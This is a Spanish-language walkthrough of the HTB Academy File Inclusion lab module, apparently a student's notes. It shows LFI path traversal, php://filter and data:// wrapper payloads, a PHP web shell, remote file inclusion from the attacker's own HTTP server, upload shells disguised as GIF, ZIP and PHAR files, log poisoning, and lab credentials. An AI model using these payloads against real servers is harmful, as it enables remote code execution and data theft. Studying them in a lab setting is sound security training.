stamin4
  • whoami
  • HTB Academy
    • Introduction to Academy
    • Learning Process
    • Vulnerability Assessment
    • Web Requests
    • Introduction to Networking
    • Linux Fundamentals
    • Brief Intro to Hardware Attacks
    • Setting Up
    • Using the Metasploit Framework
    • Security Incident Reporting
    • Introduction to Web Applications
    • JavaScript Deobfuscation
    • Attacking Web Applications with Ffuf
    • Windows Fundamentals
    • File Inclusion
  • HTB Machines
    • Windows
      • 🟢Easy
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
    • Linux
      • 🟢Easy
        • Cap
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
  • OverTheWire
    • Bandit
      • Nivel 0
      • Nivel 1
      • Nivel 2
      • Nivel 3
      • Nivel 4
      • Nivel 5
      • Nivel 6
      • Nivel 7
      • Nivel 8
      • Nivel 9
      • Nivel 10
  • Base de datos
    • SQL
      • SELECT queries 101
      • Queries with constraints (Pt. 1)
      • Queries with constraints (Pt. 2)
      • Filtering and sorting Query results
      • Simple SELECT Queries
      • Multi-table queries with JOINs
      • OUTER JOINs
      • A short note on NULLs
      • Queries with expressions
      • Queries with aggregates (Pt. 1)
      • Queries with aggregates (Pt. 2)
      • Order of execution of a Query
      • Inserting rows
      • Updating rows
      • Deleting rows
      • Creating tables
      • Altering tables
      • Dropping tables
  • PortSwigger
    • Path Traversal
  • Dockerlabs
    • Trust
    • Firsthacking
    • Upload
Powered by GitBook
On this page
  • Overview
  • Local File Inclusion (LFI)
  • Basic Bypasses
  • PHP Filters
  • PHP Wrappers
  • Remote File Inclusion (RFI)
  • LFI and File Uploads
  • Log Poisoning
  • Automated Scanning
  • File Inclusion Prevention
  • Skills Assessment - File Inclusion
  1. HTB Academy

File Inclusion

PreviousWindows FundamentalsNextHTB Machines

Last updated 1 year ago

Overview

Este módulo me permitió aprender sobre los siguientes conceptos:

  • Local File Inclusion (LFI)

  • Path Traversal

  • Bypassing restricciones de LFI

  • Ejecución remota de comandos (RCE) a través de...

    • PHP wrappers

    • Remote File Inclusion (RFI)

    • Subida de archivos maliciosos

    • Log Poisoning

  • Cómo automatizar la explotación de un LFI

  • Cómo prevenir un LFI


Local File Inclusion (LFI)

Desplegamos el target y accedemos al servicio web a través del navegador.

Si hacemos click en Language, veremos un menú desplegable con dos opciones de idiomas: English y Spanish. Dependiendo del idioma que seleccionemos, se cargará un archivo php distinto; esto está controlado a través del parámetro language.

Intentamos acontecer un Local File Inclusion para cargar el archivo /etc/passwd de la máquina. Sin embargo, no funciona.

Para que funcione, primero debemos realizar un Directory Path Traversal, retrocediendo varios directorios hasta llegar a la raíz y ahí si cargar el archivo.

Hacemos Ctrl + U para ver el output más ordenado:

A partir del LFI, pudimos descubrir que el nombre del usuario a nivel de sistema que arranca con "b" es barry.

La flag se encuentra en el archivo flag.txt localizado en el directorio /usr/share/flags.


Basic Bypasses

En esta ocasión, la aplicación cuenta con más de un filtro para evitar la vulnerabilidad del Local File Inclusion. El objetivo es bypassearlas para leer /flag.txt.

Después de probar con múltiples payloads, entendí que se estaban aplicando dos restricciones:

  • Por un lado, el path debía comenzar sí o sí con el directorio languages; de lo contrario, se muestra un error.

  • Por el otro, la típica secuencia del Directory Path Traversal no funciona. Es necesario utilizar ....// en lugar de ../ porque se está aplicando una sanitización. Como no es recursiva, no es difícil de burlar.

Lo que debemos introducir como valor del parámetro language quedaría así: languages/....//....//....//....//flag.txt.


PHP Filters

El ejercicio consiste en fuzzear la aplicación web en búsqueda de otros scripts php, en particular, uno de configuración, donde se almacena la contraseña de la base de datos.

Con ffuf indicamos el diccionario y la URL donde queremos descubrir archivos con extensión php.

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://83.136.252.32:45200/FUZZ.php -ic

Encontramos el archivo configure.php.

Si intentamos apuntar a este recurso directamente a través del LFI, no vamos a ser capaces de ver nada, porque se está interpretando el código.

Para poder ver el contenido del archivo, debemos emplear un wrapper de codificación en base64: ?language=php://filter/read=convert.base64-encode/resource=configure

Copiamos la cadena en base64 y la decodificamos:

echo 'PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7' | base64 -d

En configure.php se encuentran credenciales para la base de datos blogdb. Ahí mismo podemos visualizar la flag.


PHP Wrappers

La idea es llegar a ejecutar comandos en la máquina a través de un wrapper PHP y leer la flag en /.

Para conseguirlo, primero codificamos una web shell simple en base64.

echo '<?php system ($_GET["cmd"]); ?>'| base64
PD9waHAgc3lzdGVtICgkX0dFVFsiY21kIl0pOyA/Pgo=

Vamos a ejecutar comandos a través del wrapper data. Le pasamos la cadena en base64 y luego le pasamos el comando que queremos ejecutar al parámetro cmd de la web shell que definimos previamente: ?language=data://text/plain;base64,PD9waHAgc3lzdGVtICgkX0dFVFsiY21kIl0pOyA/Pgo=&cmd=id

En este caso, ejecutamos un id.

Ahora, listamos el contenido existente en la raíz con ls /.

Finalmente, mostramos el contenido del archivo donde se almacena la flag:

cat /37809e2f8952f06139011994726d9ef1.txt.


Remote File Inclusion (RFI)

En lugar de un LFI, vamos a acontecer un Remote File Inclusion para llegar a una ejecución remota de comandos. Luego, hay que buscar la flag en alguno de los directorios de /.

Creamos un script php con la web shell.

echo '<?php system ($_GET["cmd"]); ?>' > shell.php

Montamos un servidor http con python por el puerto 443.

sudo python3 -m http.server 443

Y averiguamos nuestra IP con el comando ifconfig (el de la interfaz tun0).

$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 209.151.150.186  netmask 255.255.252.0  broadcast 209.151.151.255
        inet6 fe80::a4ba:3bff:fe08:7b25  prefixlen 64  scopeid 0x20<link>
        ether a6:ba:3b:08:7b:25  txqueuelen 1000  (Ethernet)
        RX packets 508664  bytes 188715694 (179.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 377019  bytes 518067864 (494.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 742167  bytes 531019122 (506.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 742167  bytes 531019122 (506.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.10.14.236  netmask 255.255.254.0  destination 10.10.14.236
        inet6 dead:beef:2::10ea  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::8adb:cdab:5808:d859  prefixlen 64  scopeid 0x20<link>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  (UNSPEC)
        RX packets 159  bytes 203392 (198.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 92  bytes 6436 (6.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Ahora, en el parámetro language vamos a cargar, no una ruta del sistema, sino un recurso externo que estamos hosteando desde nuestra máquina de atacantes.

A través del parámetro cmd que definimos en la web shell, controlamos el comando a ejecutar:

`?language=http://10.10.14.236:443/shell.php&cmd=whoami`

A su vez, veremos que nos llega una petición GET al servidor.

Ahora que verificamos que tenemos un RCE, buscamos la flag.

En la raíz hay un directorio exercise, que parece ser el que contiene la flag.

Efectivamente, ya podemos ejecutar un cat /exercise/flag.txt para ver la flag.


LFI and File Uploads

En la sección se presentan varias técnicas para llegar a un RCE.

Es importante notar que ahora la web tiene una sección llamada Profile Settings donde podemos subir un archivo.

  1. GIF

Creamos un archivo GIF que en realidad contiene código PHP malicioso. Le añadimos la cabecera GIF8 por si se está comprobando a través de los magic numbers que se trata de un archivo de imagen.

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Lo subimos.

Verificamos que ha sido subido de forma exitosa.

A través del LFI, apuntamos a /profile_images, que es la ruta donde se encuentran almacenados los archivos subidos y de ahí a shell.gif, donde a través del parámetro cmd controlamos el comando a ejecutar.

Ahora listamos el contenido de la raíz.

Y visualizamos la flag.

  1. ZIP

Creamos un comprimido dentro del cual se encuentra el archivo shell.php

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php

Lo subimos.

Desde el LFI, usamos el wrapper zip para apuntar al archivo shell.php y ejecutar comandos a través del parámetro cmd: ?language=zip://./profile_images/shell.zip#shell.php&cmd=whoami

A tener en cuenta: hay que urlencodear el # y convertirlo a %23.

  1. PHAR

Creamos un archivo shell.php con este contenido:

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

Lo compilamos como un archivo phar y lo renombramos a shell.jpg.

$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Subimos el archivo.

Y apuntamos a la siguiente URL, donde a través del parámetro cmd controlamos el comando a ejecutar, en este caso, un id: http://94.237.56.188:44787/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt


Log Poisoning

Utilizar cualquiera de las técnicas explicadas en la sección para llegar a un RCE; la respuesta que debemos proporcionar es el output del comando pwd.

  1. PHP Session Poisoning

Abrimos las Herramientas del Desarrollador con Ctrl + Shift + I y nos vamos a Storage donde se almacenan las cookies.

La información almacenada en el servidor relacionadas con la cookie generalmente se encuentran en /var/lib/php/sessions/sess_PHPSESSID donde PHPSESSID debe ser reemplazado por el valor que se encuentra en Storage. En nuestro caso, sería /var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l.

Apuntamos a este recurso mediante el LFI.

Hay dos valores: selected_language y preference. Tenemos en nuestro control selected_language, ya que depende del input que le pasemos al parámetro language.

Le pasamos como valor una web shell en PHP:

?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

Y ahora apuntamos al mismo recurso, añadiendo el parámetro cmd con el que controlamos el comando a ejecutar. En este caso, el comando pwd.

La URL quedaría así: http://83.136.255.150:41693/index.php?language=/var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l&cmd=pwd

Vale aclarar que esta forma solo sirve para ejecutar un único comando. Si quisiéramos ejecutar otro comando, tendríamos que repetir todo el proceso de pasarle la web shell en el parámetro language y apuntar al archivo nuevamente.

  1. Server Log Poisoning

Probemos la otra alternativa.

Los logs de Apache suelen ubicarse en /var/log/apache2/access.log. Apuntamos a este recurso para asegurarnos de tener capacidad de lectura.

Abrimos BurpSuite, interceptamos la petición y la enviamos al Repeater. Alteramos el User-Agent para que contenga código PHP malicioso. ¿Por qué? Porque la web interpreta PHP y el User-Agent se ve reflejado en el archivo de logs de Apache.

A través del parámetro cmd, logramos conseguir ejecución remota de comandos.

Vemos los archivos de la raíz para encontrar la flag.

Ya podemos visualizarla.


Automated Scanning

Aplicamos fuzzing para descubrir parámetros expuestos.

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://94.237.53.3:40404/index.php?FUZZ=value -fs 2309 -ic

Descubrimos el parámetro view. Ahora hay que intentar explotarlo con un diccionario de payloads para LFI típicos y así ser capaces de leer el archivo /flag.txt.

ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u http://94.237.53.3:40404/index.php?view=FUZZ -fs 1935 -ic

Yo utilicé el payload que requería la mínima cantidad de ../

Y así podemos ver la flag.


File Inclusion Prevention

Nos conectamos al target por SSH con las credenciales htb-student:HTB_@cademy_stdnt!

  1. ¿Cuál es la ruta absoluta del archivo php.ini file para Apache?

/etc/php/7.4/apache2/php.ini

$ find / -name php.ini 2>/dev/null
/etc/php/7.4/apache2/php.ini
/etc/php/7.4/cli/php.ini
  1. Al siguiente ejercicio hay que ir resolviéndolo paso a paso.

Primero, editar el archivo php.ini para bloquear la función system().

Para eso, hay que abrir el archivo con sudo nano /etc/php/7.4/apache2/php.ini.

Con Ctrl + Q buscamos por la cadena "disable_functions". Añadimos system.

Para que se apliquen los cambios, hay que reiniciar el servicio:

$ sudo service apache2 restart

En /var/www/html, creamos un archivo shell.php que contenga una web shell.

<?php system($_GET["cmd"]); ?>

Luego, intentamos ejecutar el código PHP que usa la función system. Para ello, realizamos una petición con cURL a shell.php

$ curl http://localhost/shell.php

Si leemos el archivo /var/log/apache2/error.log veremos el siguiente mensaje: system() has been disabled for security reasons.


Skills Assessment - File Inclusion

Desplegamos el target. Accedemos al servicio web a través del navegador.

La sección de la página que se carga depende del parámetro page.

Intenté aplicar un Directory Path Traversal para cargar el /etc/passwd, pero cualquier cadena que contenga ../ es detectada como input inválido.

Sin embargo, podemos usar el wrapper de codificación en base64 para ver el código del index.php.

http://94.237.54.170:47003/index.php?page=php://filter/read=convert.base64-encode/resource=index

Para poder copiar la cadena completa y decodificarla con base64 -d desde consola, hice la petición con cURL.

curl -s http://94.237.54.170:47003/index.php?page=php://filter/read=convert.base64-encode/resource=index

Si inspeccionamos el código cuidadosamente, veremos una ruta que parece interesante.

Esa ruta nos dirige a un panel Admin.

A través del parámetro log se controla qué tipo de log queremos cargar: Chat, Service o System.

Sin embargo, es vulnerable a LFI. Podemos ver, por ejemplo, el /etc/passwd de la máquina.

http://94.237.54.170:47003/ilf_admin/index.php?log=../../../../../etc/passwd

Entre los usuarios del sistema, está nginx, por lo que podemos asumir que este es el servidor web en uso.

Cargamos el archivo /etc/nginx/nginx.conf para ver más información sobre el servicio. Encontramos la ruta donde se almacenan los logs.

Si cargamos /var/log/nginx/access.log, queda a la vista que tenemos capacidad de lectura, por lo que lo siguiente que vamos a probar es un Log Poisoning.

Abrimos BurpSuite, activamos el proxy e interceptamos la petición. Modificamos el User-Agent para que contenga código PHP malicioso.

Luego, desde la página ejecutamos comandos a través del parámetro cmd que definimos en la web shell. En la raíz hay un archivo que contiene la flag.

Ya podemos visualizarla.